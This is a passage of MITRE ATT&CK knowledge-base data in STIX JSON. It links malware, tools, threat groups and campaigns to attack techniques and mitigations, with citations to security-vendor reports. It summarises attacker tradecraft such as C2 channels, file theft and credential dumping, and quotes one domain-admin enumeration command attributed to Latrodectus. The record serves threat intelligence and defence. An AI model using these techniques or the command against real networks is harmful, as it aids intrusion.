2018)","relationship_type":"uses","source_ref":"intrusion-set--44102191-3a31-45f8-acbe-34bdb441d5ad","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c8ff4bb6-92df-40ca-b975-6682d7c6ac82","created":"2024-08-05T19:17:26.983Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-05T19:17:26.983Z","description":"Inventory systems for unauthorized command and scripting interpreter installations.","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c8ff6191-a8ac-4f12-b336-a2e0c7644082","type":"relationship","created":"2019-06-20T14:34:41.315Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://support.microsoft.com/en-us/kb/967715","description":"Microsoft. (n.d.). How to disable the Autorun functionality in Windows. Retrieved April 20, 2016.","source_name":"Microsoft Disable Autorun"},{"url":"https://technet.microsoft.com/en-us/library/cc772540(v=ws.10).aspx","description":"Microsoft. (2007, August 31). https://technet.microsoft.com/en-us/library/cc771759(v=ws.10).aspx. Retrieved April 20, 2016.","source_name":"TechNet Removable Media Control"}],"modified":"2021-10-15T22:47:01.032Z","description":"Disable Autorun if it is unnecessary. (Citation: Microsoft Disable Autorun) Disallow or restrict removable media at an organizational policy level if they are not required for business operations. (Citation: TechNet Removable Media Control)","relationship_type":"mitigates","source_ref":"course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31","target_ref":"attack-pattern--e6415f09-df0e-48de-9aba-928c902b7549","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c9005a9a-c6c5-4044-82d7-f108b2e72f93","type":"relationship","created":"2020-02-12T14:09:53.660Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-12T14:09:53.660Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64","target_ref":"attack-pattern--acd0ba37-7ba9-4cc5-ac61-796586cd856d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c901aabc-e6ac-416a-89aa-a93f0a7349c7","created":"2024-08-14T22:15:45.025Z","revoked":false,"external_references":[{"source_name":"PWC Yellow Liderc 2023","description":"PwC Threat Intelligence. (2023, October 25). Yellow Liderc ships its scripts and delivers IMAPLoader malware. Retrieved August 14, 2024.","url":"https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/yellow-liderc-ships-its-scripts-delivers-imaploader-malware.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-14T22:15:45.025Z","description":"[IMAPLoader](https://attack.mitre.org/software/S1152) uses the IMAP email protocol for command and control purposes.(Citation: PWC Yellow Liderc 2023)","relationship_type":"uses","source_ref":"malware--3058b264-fe6b-46be-8948-2d1fadaf8adf","target_ref":"attack-pattern--54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c902196d-7a86-4235-b2a8-bf380a0cab3c","created":"2024-03-28T14:24:55.530Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye TEMP.Veles 2018","description":"FireEye Intelligence . (2018, October 23). TRITON Attribution: Russian Government-Owned Lab Most Likely Built Custom Intrusion Tools for TRITON Attackers. Retrieved April 16, 2019.","url":"https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-10T18:47:21.723Z","description":"In the [Triton Safety Instrumented System Attack](https://attack.mitre.org/campaigns/C0030), [TEMP.Veles](https://attack.mitre.org/groups/G0088) modified files based on the open-source project cryptcat in an apparent attempt to decrease anti-virus detection rates.(Citation: FireEye TEMP.Veles 2018)","relationship_type":"uses","source_ref":"campaign--45a98f02-852f-49b2-94c0-c63207bebbbf","target_ref":"attack-pattern--b0533c6e-8fea-4788-874f-b799cacc4b92","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c902576b-935e-4c1c-ae81-5d878e0ebaa0","type":"relationship","created":"2021-12-29T15:08:44.518Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Tomiris Sep 2021","url":"https://securelist.com/darkhalo-after-solarwinds-the-tomiris-connection/104311/","description":"Kwiatkoswki, I. and Delcher, P. (2021, September 29). DarkHalo After SolarWinds: the Tomiris connection. Retrieved December 27, 2021."}],"modified":"2022-03-09T20:42:07.070Z","description":" [Tomiris](https://attack.mitre.org/software/S0671) can upload files matching a hardcoded set of extensions, such as .doc, .docx, .pdf, and .rar, to its C2 server.(Citation: Kaspersky Tomiris Sep 2021)","relationship_type":"uses","source_ref":"malware--327b3a25-9e60-4431-b3b6-93b9c64eacbc","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c90424e7-4d58-4b2f-b72e-fc630a1a8199","type":"relationship","created":"2020-11-10T21:04:35.498Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Brazilian Banking Malware July 2020","url":"https://securelist.com/the-tetrade-brazilian-banking-malware/97779/","description":"GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020."}],"modified":"2020-11-10T21:04:35.498Z","description":"[Melcoz](https://attack.mitre.org/software/S0530) has been packed with VMProtect and Themida.(Citation: Securelist Brazilian Banking Malware July 2020)","relationship_type":"uses","source_ref":"malware--d3105fb5-c494-4fd1-a7be-414eab9e0c96","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c904b6b7-52f4-42fe-b921-bb5a490c0c3f","created":"2021-04-06T19:40:20.002Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Cobalt Strike September 2020","description":"Mavis, N. (2020, September 21). The Art and Science of Detecting Cobalt Strike. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20210219195905/https://talos-intelligence-site.s3.amazonaws.com/production/document_files/files/000/095/031/original/Talos_Cobalt_Strike.pdf"},{"source_name":"Cobalt Strike Manual 4.3 November 2020","description":"Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021.","url":"https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:23:54.843Z","description":"[Cobalt Strike](https://attack.mitre.org/software/S0154) can be configured to use TCP, ICMP, and UDP for C2 communications.(Citation: Talos Cobalt Strike September 2020)(Citation: Cobalt Strike Manual 4.3 November 2020)","relationship_type":"uses","source_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c906ddd0-e3fb-42ad-84cb-84ca093ddbb2","created":"2020-05-22T18:00:52.267Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FBI FLASH APT39 September 2020","description":"FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020.","url":"https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf"},{"source_name":"BitDefender Chafer May 2020","description":"Rusu, B. (2020, May 21). Iranian Chafer APT Targeted Air Transportation and Government in Kuwait and Saudi Arabia. Retrieved May 22, 2020.","url":"https://www.bitdefender.com/blog/labs/iranian-chafer-apt-targeted-air-transportation-and-government-in-kuwait-and-saudi-arabia/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-18T16:19:53.785Z","description":"[APT39](https://attack.mitre.org/groups/G0087) has used a command line utility and a network scanner written in python.(Citation: BitDefender Chafer May 2020)(Citation: FBI FLASH APT39 September 2020)","relationship_type":"uses","source_ref":"intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80","target_ref":"attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c9076ac7-11d9-44fc-91dc-0f927d62497f","type":"relationship","created":"2021-10-13T22:04:28.611Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Nomadic Octopus 2018","url":"https://www.virusbulletin.com/uploads/pdf/conference_slides/2018/Cherepanov-VB2018-Octopus.pdf","description":"Cherepanov, A. (2018, October 4). Nomadic Octopus Cyber espionage in Central Asia. Retrieved October 13, 2021."}],"modified":"2021-10-14T14:09:01.180Z","description":"[Nomadic Octopus](https://attack.mitre.org/groups/G0133) executed PowerShell in a hidden window.(Citation: ESET Nomadic Octopus 2018) ","relationship_type":"uses","source_ref":"intrusion-set--fed4f0a2-4347-4530-b0f5-6dfd49b29172","target_ref":"attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--c91113cc-70d5-4daa-8283-d79898502be8","created":"2022-04-13T13:14:19.185Z","x_mitre_version":"0.1","external_references":[{"source_name":"Kaspersky ThreatNeedle Feb 2021","url":"https://securelist.com/lazarus-threatneedle/100803/","description":"Vyacheslav Kopeytsev and Seongsu Park. (2021, February 25). Lazarus targets defense industry with ThreatNeedle. Retrieved October 27, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[ThreatNeedle](https://attack.mitre.org/software/S0665) has been distributed via a malicious Word document within a spearphishing email.(Citation: Kaspersky ThreatNeedle Feb 2021) ","modified":"2022-04-13T13:14:19.185Z","relationship_type":"uses","source_ref":"malware--16040b1c-ed28-4850-9d8f-bb8b81c42092","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c911e8d7-be27-48cf-8f5a-0be56cbe6592","type":"relationship","created":"2021-01-06T17:15:47.537Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft Analyzing Solorigate Dec 2020","url":"https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/","description":"MSTIC. (2020, December 18). Analyzing Solorigate, the compromised DLL file that started a sophisticated cyberattack, and how Microsoft Defender helps protect customers . Retrieved January 5, 2021."}],"modified":"2021-01-06T17:15:47.537Z","description":"[SUNBURST](https://attack.mitre.org/software/S0559) checked the domain name of the compromised host to verify it was running in a real environment.(Citation: Microsoft Analyzing Solorigate Dec 2020)","relationship_type":"uses","source_ref":"malware--a8839c95-029f-44cf-8f3d-a3cf2039e927","target_ref":"attack-pattern--29be378d-262d-4e99-b00d-852d573628e6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c915bb8a-631a-47b9-9b97-c43939b17661","created":"2024-09-18T20:10:23.483Z","revoked":false,"external_references":[{"source_name":"Bitsight Latrodectus June 2024","description":"Batista, J. (2024, June 17). Latrodectus, are you coming back?. Retrieved September 13, 2024.","url":"https://www.bitsight.com/blog/latrodectus-are-you-coming-back"},{"source_name":"Elastic Latrodectus May 2024","description":"Stepanic, D. and Bousseaden, S. (2024, May 15). Spring Cleaning with LATRODECTUS: A Potential Replacement for ICEDID. Retrieved September 13, 2024.","url":"https://www.elastic.co/security-labs/spring-cleaning-with-latrodectus"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-18T20:10:23.483Z","description":"[Latrodectus](https://attack.mitre.org/software/S1160) can identify domain groups through `cmd.exe /c net group \"Domain Admins\" /domain`.(Citation: Bitsight Latrodectus June 2024)(Citation: Elastic Latrodectus May 2024)","relationship_type":"uses","source_ref":"malware--76fde8df-3495-47c9-82eb-125c4f7fb621","target_ref":"attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c92047b8-50d6-4fde-8acd-98132dcdc32f","type":"relationship","created":"2020-11-23T17:38:03.062Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Delpy Mimikatz Crendential Manager","url":"https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials","description":"Delpy, B. (2017, December 12). howto ~ credential manager saved credentials. Retrieved November 23, 2020."}],"modified":"2020-11-23T17:38:03.062Z","description":"[Mimikatz](https://attack.mitre.org/software/S0002) contains functionality to acquire credentials from the Windows Credential Manager.(Citation: Delpy Mimikatz Crendential Manager)","relationship_type":"uses","source_ref":"tool--afc079f3-c0ea-4096-b75d-3f05338b7f60","target_ref":"attack-pattern--d336b553-5da9-46ca-98a8-0b23f49fb447","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c9256d21-a464-477a-8756-96eae300b0e4","created":"2021-07-16T19:42:59.601Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Group IB GrimAgent July 2021","description":"Priego, A. (2021, July). THE BROTHERS GRIM: THE REVERSING TALE OF GRIMAGENT MALWARE USED BY RYUK. Retrieved September 19, 2024.","url":"https://www.group-ib.com/blog/grimagent/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-19T14:32:39.434Z","description":"[GrimAgent](https://attack.mitre.org/software/S0632) can use a decryption algorithm for strings based on Rotate on Right (RoR) and Rotate on Left (RoL) functionality.(Citation: Group IB GrimAgent July 2021)","relationship_type":"uses","source_ref":"malware--c9b99d03-ff11-4a48-95f0-82660d582c25","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c9261a0d-98f4-4781-8e57-d21d393a01b8","created":"2024-07-19T18:27:15.810Z","revoked":false,"external_references":[{"source_name":"TrendMicro Pikabot 2024","description":"Shinji Robert Arasawa, Joshua Aquino, Charles Steven Derion, Juhn Emmanuel Atanque, Francisrey Joshua Castillo, John Carlo Marquez, Henry Salcedo, John Rainier Navato, Arianne Dela Cruz, Raymart Yambot & Ian Kenefick. (2024, January 9). Black Basta-Affiliated Water Curupira’s Pikabot Spam Campaign. Retrieved July 17, 2024.","url":"https://www.trendmicro.com/en_us/research/24/a/a-look-into-pikabot-spam-wave-campaign.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-19T18:27:15.810Z","description":"[Water Curupira Pikabot Distribution](https://attack.mitre.org/campaigns/C0037) used highly obfuscated JavaScript files as one initial installer for [Pikabot](https://attack.mitre.org/software/S1145).(Citation: TrendMicro Pikabot 2024)","relationship_type":"uses","source_ref":"campaign--57541e3b-657e-463a-a4ab-ca08d7ea9965","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c92d9edc-e2a9-44e4-95ef-81632eaf14f9","created":"2021-03-11T18:06:46.876Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Leonardo Turla Penquin May 2020","description":"Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA “Penquin_x64”. Retrieved March 11, 2021.","url":"https://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-28T21:27:07.144Z","description":"[Penquin](https://attack.mitre.org/software/S0587) can execute the command code do_upload to send files to C2.(Citation: Leonardo Turla Penquin May 2020)","relationship_type":"uses","source_ref":"malware--d18cb958-f4ad-4fb3-bb4f-e8994d206550","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c92e754c-48bf-4c8c-9504-47bd7f248baf","created":"2024-02-15T13:42:07.750Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-15T13:42:07.750Z","description":"Limit access to utilities such as docker to only users who have a legitimate need, especially if using docker in rootful mode. In Kubernetes environments, only grant privileges to deploy pods to users that require it. ","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--b0e54bf7-835e-4f44-bd8e-62f431b9b76a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c92f6bab-4dfc-443d-903c-35318b80a396","type":"relationship","created":"2021-09-21T15:16:40.900Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET BackdoorDiplomacy Jun 2021","url":"https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/","description":"Adam Burgher. (2021, June 10). BackdoorDiplomacy: Upgrading from Quarian to Turian. Retrieved September 1, 2021"}],"modified":"2021-10-07T16:28:04.634Z","description":"[BackdoorDiplomacy](https://attack.mitre.org/groups/G0135) has used SMBTouch, a vulnerability scanner, to determine whether a target is vulnerable to EternalBlue malware.(Citation: ESET BackdoorDiplomacy Jun 2021)","relationship_type":"uses","source_ref":"intrusion-set--9735c036-8ebe-47e9-9c77-b0ae656dab93","target_ref":"attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c9342b34-f936-4913-aaee-71fcc5347fd4","type":"relationship","created":"2021-09-29T00:30:23.816Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Checkpoint IndigoZebra July 2021","url":"https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/","description":"CheckPoint Research. (2021, July 1). IndigoZebra APT continues to attack Central Asia with evolving tools. Retrieved September 24, 2021."}],"modified":"2021-10-08T15:41:36.632Z","description":"[xCaon](https://attack.mitre.org/software/S0653) has leveraged native OS function calls to retrieve victim's network adapter's information using GetAdapterInfo() API.(Citation: Checkpoint IndigoZebra July 2021) ","relationship_type":"uses","source_ref":"malware--21583311-6321-4891-8a37-3eb4e57b0fb1","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c9349d94-ea50-4446-a50e-bb920812aded","type":"relationship","created":"2021-10-14T22:26:31.328Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA MAR-10292089-1.v2 TAIDOOR August 2021","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-216a","description":"CISA, FBI, DOD. (2021, August). MAR-10292089-1.v2 – Chinese Remote Access Trojan: TAIDOOR. Retrieved August 24, 2021."}],"modified":"2021-10-14T22:26:31.328Z","description":"[Taidoor](https://attack.mitre.org/software/S0011) can search for specific files.(Citation: CISA MAR-10292089-1.v2 TAIDOOR August 2021)","relationship_type":"uses","source_ref":"malware--b143dfa4-e944-43ff-8429-bfffc308c517","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c935af5a-b6e3-41b8-afa8-f9d7ad593201","created":"2022-09-29T17:38:07.075Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CYBERCOM Iranian Intel Cyber January 2022","description":"Cyber National Mission Force. (2022, January 12). Iranian intel cyber suite of malware uses open source tools. Retrieved September 30, 2022.","url":"https://www.cybercom.mil/Media/News/Article/2897570/iranian-intel-cyber-suite-of-malware-uses-open-source-tools/"},{"source_name":"DHS CISA AA22-055A MuddyWater February 2022","description":"FBI, CISA, CNMF, NCSC-UK. (2022, February 24). Iranian Government-Sponsored Actors Conduct Cyber Operations Against Global Government and Commercial Networks. Retrieved September 27, 2022.","url":"https://www.cisa.gov/uscert/ncas/alerts/aa22-055a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-17T12:43:55.852Z","description":"[PowGoop](https://attack.mitre.org/software/S1046) can decrypt PowerShell scripts for execution.(Citation: DHS CISA AA22-055A MuddyWater February 2022)(Citation: CYBERCOM Iranian Intel Cyber January 2022)","relationship_type":"uses","source_ref":"malware--c19d19ae-dd58-4584-8469-966bbeaa80e3","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c935fb02-a2a4-448e-adc0-2b220fc8d521","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Know Your Enemy FIN8 Aug 2016","description":"Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.","url":"https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html"},{"description":"Gorelik, M.. (2019, June 10). SECURITY ALERT: FIN8 IS BACK IN BUSINESS, TARGETING THE HOSPITALITY INDUSTRY. Retrieved June 13, 2019.","url":"http://blog.morphisec.com/security-alert-fin8-is-back","source_name":"Morphisec ShellTea June 2019"}],"modified":"2019-06-28T20:48:52.612Z","description":"[PUNCHBUGGY](https://attack.mitre.org/software/S0196) can delete files written to disk.(Citation: FireEye Know Your Enemy FIN8 Aug 2016)(Citation: Morphisec ShellTea June 2019)","relationship_type":"uses","source_ref":"malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c93bb2b9-bd22-4e14-b884-2141168387b2","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Gamaredon Feb 2017","description":"Kasza, A. and Reichel, D. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.","url":"https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/"}],"modified":"2020-06-22T17:54:16.021Z","description":"[Pteranodon](https://attack.mitre.org/software/S0147) creates various subdirectories under %Temp%\\reports\\% and copies files to those subdirectories. It also creates a folder at C:\\Users\\\\AppData\\Roaming\\Microsoft\\store to store screenshot JPEG files.(Citation: Palo Alto Gamaredon Feb 2017)","relationship_type":"uses","source_ref":"malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c93ca587-24fe-44d0-951e-30d82b9e6198","type":"relationship","created":"2020-02-18T18:03:37.714Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-18T18:03:37.714Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--8cdeb020-e31e-4f88-a582-f53dcfbda819","target_ref":"attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c93cacac-5ecf-49cb-8377-18e319545329","created":"2023-07-31T20:05:23.056Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA AA24-038A PRC Critical Infrastructure February 2024","description":"CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"},{"source_name":"Microsoft Volt Typhoon May 2023","description":"Microsoft Threat Intelligence. (2023, May 24). Volt Typhoon targets US critical infrastructure with living-off-the-land techniques. Retrieved July 27, 